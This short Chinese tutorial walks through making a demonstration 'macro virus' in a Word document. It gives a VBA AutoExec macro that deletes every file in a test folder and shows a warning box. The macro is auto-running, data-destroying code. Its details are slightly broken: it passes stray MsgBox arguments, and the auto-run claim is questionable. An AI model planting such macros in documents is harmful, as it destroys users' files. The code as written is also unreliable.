环境:
win10
office 2016
操作
新建macroVirus.docx文件
打开macroVirus.docx文件找到宏
点击“查看宏“,创建新的自定义宏病毒
代码:
Sub AutoExec ()
Kill "C:\Users\16679\Desktop\testFolder\*"
E = MsgBox("It is a Macros virus to delet files", vbCritical, info, lol, com)
End Sub
保存宏后关闭macroVirus.docx文件
在C:\Users\16679\Desktop\testFolder\目录中放入几个测试文件